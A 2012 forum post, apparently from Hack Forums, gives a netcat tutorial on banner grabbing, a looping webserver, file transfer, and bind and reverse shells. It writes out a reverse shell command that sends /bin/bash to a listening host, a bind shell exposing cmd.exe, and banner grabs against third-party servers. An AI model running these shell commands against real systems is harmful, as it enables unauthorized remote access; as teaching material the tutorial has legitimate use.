

Forum:[Hack Forums](#)

Thread: [Video - HowTo Banner Grabbing, Bind Shell, Reverse Shell and Webserver](#)

Mauri - March 23, 2012, 5:28 am

Netcat HowTo Banner Grabbing, Bind Shell, Reverse Shell and Webserver

Netcat is a computer networking service for reading from and writing network connections using TCP or UDP. Netcat is designed to be a dependable "back-end" device that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities

Although NetCat is not the state of the art tool anymore and it sends all packets unencrypted through the net, it's still a very good tool for easy banner grabbing, binding shells or reverse shells.

Banner Grabbing Commandline:

```
nc -v 192.168.0.200 21
```

```
nslookup -querytype=mx debian.org  
nc -v xxx.debian.org 25
```

```
nslookup -querytype=mx dell.com  
nc -v xxx.dell.com 25
```

```
nc -v 192.168.0.200 80  
GET / HTTP/1.1
```

```
nc -v www.dell.com 80  
GET / HTTP/1.1
```

```
nc -v 192.168.0.200 21
```

Weberserver Commandline:

```
while true; do nc -l -p 80 -q 1 < bla.html; done
```

File Transfer Commandline:

```
windows maschine file server nc -lvp 4444 > captured.txt
```

```
linux maschine: nc -v target-ip < info.txt this cmd will send the content of the file INFO.TXT to the  
Server into the file CAPTURED.TXT
```

Shell Commandlines:

Bind Shell

windows maschine: nc -lvp 4444 -e cmd.exe
linux maschine: nc -v 192.168.0.200 4444

Connecting from the linux system to the windows system,
which isn't located behind a NAT System.

Reverse Shell

windows maschine: nc -lvp 4444
linux maschine: nc -nv 192.168.0.200 4444 -e /bin/bash
/sbin/ifconfig

Sending a /bin/bash Shell from a Linux system behind a NAT to the
windows system, which is listening on port 4444. traversing NAT.

<http://goo.gl/mftkA>